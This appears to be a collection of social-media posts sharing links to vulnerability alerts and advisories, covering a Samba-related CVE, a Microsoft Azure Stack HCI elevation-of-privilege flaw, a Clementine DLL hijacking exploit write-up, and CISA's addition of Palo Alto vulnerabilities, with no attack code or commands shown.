CVE Alert: CVE-2020-25720 - https://www.redpacketsecurity.com/cve_alert_cve-2020-25720/

#OSINT #ThreatIntel #CyberSecurity #cve_2020_25720

CVE Alert: CVE-2020-25720 - https://www.redpacketsecurity.com/cve_alert_cve-2020-25720/

#OSINT #ThreatIntel #CyberSecurity #cve_2020_25720

CVE Alert: CVE-2020-25720 - https://www.redpacketsecurity.com/cve_alert_cve-2020-25720/

#OSINT #ThreatIntel #CyberSecurity #cve_2020_25720

CVE Alert: CVE-2020-25720 - https://www.redpacketsecurity.com/cve_alert_cve-2020-25720/

#OSINT #ThreatIntel #CyberSecurity #cve_2020_25720

This was added to #Microsoft's advisories yesterday:

Security vulnerability for Arc VMs running on #Azure Stack HCI, version 23H2 https://github.com/Azure/AzureStackHCI-Supportability/blob/main/TSG/ArcVMs/security-vulnerability-cve-2024-49060.md #cybersecurity #Infosec

Microsoft Security Response Center (MSRC): CVE-2024-49060
Leave it to Microsoft to drop an out-of-band vulnerability outside of Patch Tuesday. CVE-2024-49060 (8.8 high) Azure Stack HCI Elevation of Privilege Vulnerability. Not Exploited, not Publicly disclosed, Exploitation More Likely. Read the FAQ for explanation of AV:L and S:C.

#microsoft #vulnerability #cve #infosec #cybersecurity #azure

🚨CVE-2024-50986: DLL Hijacking Exploit for Clementine

https://darkwebinformer.com/cve-20224-50986-dll-hijacking-exploit-for-clementine/

CISA Adds Two Critical Palo Alto Networks Vulnerabilities to Known Exploited Catalog https://cyble.com/blog/cisa-adds-two-critical-palo-alto-networks-vulnerabilities-to-known-exploited-catalog/ #OSCommandInjection #Vulnerability #CVE20249463 #CVE20249465 #CISA

CISA Adds Two Critical Palo Alto Networks Vulnerabilities to Known Exploited Catalog https://cyble.com/blog/cisa-adds-two-critical-palo-alto-networks-vulnerabilities-to-known-exploited-catalog/ #OSCommandInjection #Vulnerability #CVE20249463 #CVE20249465 #CISA